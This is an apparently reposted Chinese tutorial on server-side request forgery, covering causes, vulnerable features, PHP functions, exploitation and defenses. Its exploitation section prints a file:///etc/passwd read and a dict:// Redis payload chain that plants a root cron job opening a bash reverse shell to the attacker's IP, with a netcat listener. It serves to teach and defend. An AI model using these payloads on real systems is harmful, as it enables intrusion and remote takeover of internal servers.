资讯专栏INFORMATION COLUMN

Web安全之服务端请求伪造漏洞

Fundebug / 2780人阅读

摘要:服务端请求伪造漏洞,服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一种漏洞。举例攻击者传入一个未经验证的,后端代码直接请求这个,就会造成漏洞。禁止不常用的协议仅仅允许和请求。

  • 服务端请求伪造(SSRF)漏洞
    SSRF(server-side request forgery,服务端请求伪造),是一种由攻击者构造形成由服务器端发起请求的一种漏洞。从客户端发起一个请求到服务端,服务端再向另外的服务端发起请求的过程称之为服务器端请求。让服务器去请求你通常请求不到的东西。一般用来在外网探测或攻击内网服务。
  • 常见类型
    有回显:从页面中可以看到返回内容。
    无回显:无法从页面中看到返回内容。

1.原理

1.1.成因

一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。漏洞形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发送请求,并返回对该目标地址请求的数据。
举例
攻击者传入一个未经验证的 URL,后端代码直接请求这个 URL,就会造成 SSRF 漏洞。

1.2.场景

内网网段

10.0.0.0--10.255.255.255172.16.0.0--172.31.255.255192.168.0.0--192.168.255.255

Web功能

www.example.com/xxx.php?image=(地址)                        此类资源地址就可能存在SSRF漏洞

通过 URL 地址分享网页内容:获取超链接的标题进行显示
文件处理、编码处理、转码等服务:通过 URL 地址把原地址的网页内容调优使其适合手机屏幕浏览
在线翻译:给网址翻译对应网页的内容
通过 URL 地址加载与下载图片:例如富文本编辑器中的点击下载图片到本地;通过 URL 地址加载或下载图片
图片、文章收藏功能:主要网站会取 URL 地址中 title 以及文本的内容作为显示以求好的用户体验
未公开的 api 实现及其他调用 URL 的功能

Url关键字

share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain …

1.3.相关函数

PHP 中的函数

curl_exec() 、file_get_contents()、fsockopen()

curl_exec()
前端传进来的 url 被后台使用 curl_exec() 进行了请求,然后将请求的结果又返回给了前端。
file_get_contents()
使用file_get_contents函数从用户指定的url获取图片。然后把它用一个随即文件名保存在硬盘上,并展示给用户。
fsockopen()
fsockopen 函数实现获取用户制定 url 的数据(文件或者 html )。这个函数会使用 socket 跟服务器建立tcp 连接,传输原始数据。

2.利用

2.1.读取敏感文件

file:///etc/passwd

file协议与http协议的区别
file协议主要用于读取服务器本地文件,访问的是本地的静态资源
http协议是访问本地的html文件,相当于把本机当作http服务器,通过http访问服务器,服务器再去访问本地资源。
简单来说file只能静态读取,http可以动态解析,http服务器可以开放端口,让他人通过http访问服务器资源,但file不可以。

2.2.探测内网服务

利用Bp抓包爆破扫描端口
dict协议属于字典服务器,在ssrf中常用于探测目标服务器端口上运行的服务版本信息.
格式:dict://ip:port
探测应用服务器版本

curl -v dict://ip:port

探测内网redis
REmote DIctionary Server(Redis) 是一个由 Salvatore Sanfilippo 写的 key-value 存储系统,是跨平台的非关系型数据库。
Redis一般绑定在本地的6379端口上,如果在没有开启认证的情况下,可以导致任意用户利用ssrf漏洞攻击内网中的未授权Redis以及读取Redis的数据。

2.3.攻击内网应用

dict协议攻击redis
攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,如果运行 redis 的用户是 root 用户,攻击者可以通过写定时任务的方式进行反弹shell
写定时任务
centos,在/var/spool/cron/目录下
ubuntu 的定时任务在 /var/spool/cron/crontabs/ 目录下
payload

dict://内网ip:6379/flushalldict://内网ip:6379/config set dir /var/spool/cron/dict://内网ip:6379/config set dbfilename rootdict://内网ip:6379/set x "/n* * * * * bash -i &> /dev/tcp/自己ip/2333 <&1/n"dict://内网ip:6379/savenc –lvvp 2333

gopher协议攻击redis
gopher 协议是比 http 协议更早出现的协议,现在已经不常用了,但是在 SSRF 漏洞利用中 gopher 可以说是万金油,因为可以使用gopher 发送各种格式的请求包,可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求,还可以攻击内网未授权MySQL
gopher协议默认端口70,所以需要指定web端口,而且需要指定方法。数据部分需要进行url编码。回车换行使用%0d%0a
基本协议格式:URL:gopher://:/_后接TCP数据流
在 SSRF 易受攻击的站点上生成 Gopher 负载以利用 SSRF 并获得 RCE。
可以攻击的应用:MySQL、FastCGI、Memcached、Redis、Zabbix、SMTP
https://github.com/tarunkant/Gopherus

3.危害

  • 内外网的端口和服务扫描
  • 攻击运行在内网或本地的应用程序
  • 对内网web应用进行指纹识别,识别企业内部的资产信息
  • 攻击内网的web应用,主要是使用GET参数就可以实现的攻击(比如Struts2漏洞利用,SQL注入等)
  • 利用file协议读取本地敏感数据文件等

4.防御

过滤返回的信息:如果web应用是去获取某一类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
统一错误信息:避免用户可以根据错误信息来判断远程服务器的端口状态。
限制请求的端口:比如80,443,8080,8090。
禁止不常用的协议:仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp://等引起的问题。
URL限制:使用DNS缓存或者Host白名单的方式。
禁止跳转、限制协议、URL限制、内外网限制

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/121208.html

相关文章

  • web安全二,CSRF攻击

    摘要:参考深入解析跨站请求伪造漏洞攻击的应对之道相关安全,是一个很重要的技能,也是一个领域的知识。我把这个领域的东西写成了一个系列,以后还会继续完善下去安全一同源策略与跨域安全二攻击安全三攻击 什么是CSRF 全称是(Cross Site Request Forgery)跨站请求伪造。也就是恶意网站伪装成用户向目标网站服务器发送请求,骗取服务器执行请求中的命令,直接在服务器改变数据值的一种攻...

    cnsworder 评论0 收藏0
  • web安全二,CSRF攻击

    摘要:参考深入解析跨站请求伪造漏洞攻击的应对之道相关安全,是一个很重要的技能,也是一个领域的知识。我把这个领域的东西写成了一个系列,以后还会继续完善下去安全一同源策略与跨域安全二攻击安全三攻击 什么是CSRF 全称是(Cross Site Request Forgery)跨站请求伪造。也就是恶意网站伪装成用户向目标网站服务器发送请求,骗取服务器执行请求中的命令,直接在服务器改变数据值的一种攻...

    余学文 评论0 收藏0
  • web 应用常见安全漏洞一览

    摘要:应用常见安全漏洞一览注入注入就是通过给应用接口传入一些特殊字符,达到欺骗服务器执行恶意的命令。此外,适当的权限控制不曝露必要的安全信息和日志也有助于预防注入漏洞。 web 应用常见安全漏洞一览 1. SQL 注入 SQL 注入就是通过给 web 应用接口传入一些特殊字符,达到欺骗服务器执行恶意的 SQL 命令。 SQL 注入漏洞属于后端的范畴,但前端也可做体验上的优化。 原因 当使用外...

    darkerXi 评论0 收藏0
  • web 应用常见安全漏洞一览

    摘要:应用常见安全漏洞一览注入注入就是通过给应用接口传入一些特殊字符,达到欺骗服务器执行恶意的命令。此外,适当的权限控制不曝露必要的安全信息和日志也有助于预防注入漏洞。 web 应用常见安全漏洞一览 1. SQL 注入 SQL 注入就是通过给 web 应用接口传入一些特殊字符,达到欺骗服务器执行恶意的 SQL 命令。 SQL 注入漏洞属于后端的范畴,但前端也可做体验上的优化。 原因 当使用外...

    Panda 评论0 收藏0
  • web安全初探

    摘要:安全初探攻击攻击全称跨站脚本攻击,是为不和层叠样式表的缩写混淆,故将跨站脚本攻击缩写为,是一种在应用中的计算机安全漏洞,它允许恶意用户将代码植入到提供给其它用户使用的页面中。 web安全初探 XSS攻击 XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全...

    xuhong 评论0 收藏0

发表评论

0条评论

Fundebug

|高级讲师

TA的文章

阅读更多
最新活动
阅读需要支付1元查看
<